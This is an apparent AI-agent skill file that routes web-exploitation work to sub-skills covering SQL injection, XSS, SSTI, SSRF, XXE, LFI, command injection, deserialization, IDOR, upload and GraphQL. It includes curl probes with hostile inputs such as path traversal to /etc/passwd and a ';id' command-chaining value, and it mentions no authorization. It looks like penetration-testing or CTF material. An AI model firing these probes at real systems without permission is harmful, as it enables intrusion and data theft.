web

Files (12)

• SKILL.md
• command-injection.md
• deserialization.md
• file-upload.md
• graphql.md
• idor.md
• lfi.md
• sqli.md
• ssrf.md
• ssti.md
• xss.md
• xxe.md

SKILL.md (first lines)

# Web Application Exploitation — Category Overview

This is a **routing skill**. It helps you identify the correct attack technique, then directs you to the specialized sub-skill with full exploitation procedures.

## Attack Technique Routing

Match the target's characteristics to the right sub-skill:

| Sub-Skill | Covers | When to Load | Path |
|-----------|--------|-------------|------|
| **sqli** | Union/Error/Blind/Time-based SQL injection, sqlmap | SQL database, query parameters, login forms, search, filtering | `read_file("/skills/exploit/web/sqli.md")` |
| **xss** | Reflected/stored/DOM XSS, bot exfiltration, CSP bypass | Client-side JS injection, bot/report URL, cookie stealing | `read_file("/skills/exploit/web/xss.md")` |
| **ssti** | Jinja2, Twig, Freemarker, ERB, Razor template injection | Template rendering, `{{}}` or `${}` in output, Flask/Symfony/Java | `read_file("/skills/exploit/web/ssti.md")` |
| **ssrf** | Cloud metadata, internal service access, Gopher smuggling | URL fetch parameter, redirect, internal network access | `read_file("/skills/exploit/web/ssrf.md")` |
| **xxe** | XML entity injection, SOAP/WSDL, blind OOB | XML processing, SOAP endpoints, XML file uploads | `read_file("/skills/exploit/web/xxe.md")` |
| **lfi** | Path traversal, PHP wrappers, log poisoning | File path parameters, `../`, include/require, file download | `read_file("/skills/exploit/web/lfi.md")` |
| **command-injection** | OS command injection, blind/OOB, filter bypass | System commands, ping/traceroute, exec, subprocess | `read_file("/skills/exploit/web/command-injection.md")` |
| **deserialization** | Java/PHP/.NET/Python deserialization RCE | Serialized objects, base64 blobs, ViewState, pickle | `read_file("/skills/exploit/web/deserialization.md")` |
| **idor** | Authorization bypass, ID enumeration, privilege escalation | Object references, sequential IDs, UUIDs, access control | `read_file("/skills/exploit/web/idor.md")` |
| **file-upload** | Webshell upload, extension/content-type bypass | File upload forms, unrestricted upload | `read_file("/skills/exploit/web/file-upload.md")` |
| **graphql** | Introspection, SQLi via resolvers, auth bypass | GraphQL API, /graphql endpoint, GQL queries | `read_file("/skills/exploit/web/graphql.md")` |

## Quick Detection — Which Attack Type?

Run these probes to identify which sub-skill to load:

```bash
# 1. SQL Injection — single quote error
curl -s 'https://<TARGET>/page?id=1%27' -o /dev/null -w '%{http_code}'

# 2. SSTI — math evaluation
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49'

# 3. XSS — reflection check
curl -s 'https://<TARGET>/search?q=<script>test</script>' | grep '<script>test'

# 4. LFI — path traversal
curl -s 'https://<TARGET>/file?name=../../../etc/passwd' | grep 'root:'

# 5. Command Injection — command chaining
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' | grep 'uid='

# 6. SSRF — localhost access
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_test.txt

# 7. XXE — XML acceptance
curl -s 'https://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>'

# 8. GraphQL — endpoint discovery
curl -s 'https://<TARGET>/graphql' -H 'Content-Type: application/json' -d '{"query":"{ __typename }"}'
```

## Decision Flow

```
Web target identified?
├── Has query parameters → Try sqli.md, then ssti.md
├── Has file/path parameters → Try lfi.md
├── Has URL/fetch parameters → Try ssrf.md
├── Has search/input reflection → Try xss.md
├── Has file upload form → Try file-upload.md
├── Accepts XML input → Try xxe.md
├── Has /graphql endpoint → Try graphql.md
├── Has ping/exec functionality → Try command-injection.md
├── Has serialized data (cookies, POST) → Try deserialization.md
├── Has object IDs in URLs → Try idor.md
└── Unknown → Run quick detection probes above
```

## Sub-Skill Loading Rule

**ALWAYS load the specialized sub-skill before executing any attack.** This overview provides routing only — the sub-skills contain the actual exploitation procedures, tool commands, bypass techniques, and decision trees needed for successful exploitation.

From dazeb/botron, Apache-2.0.

More from dazeb/botron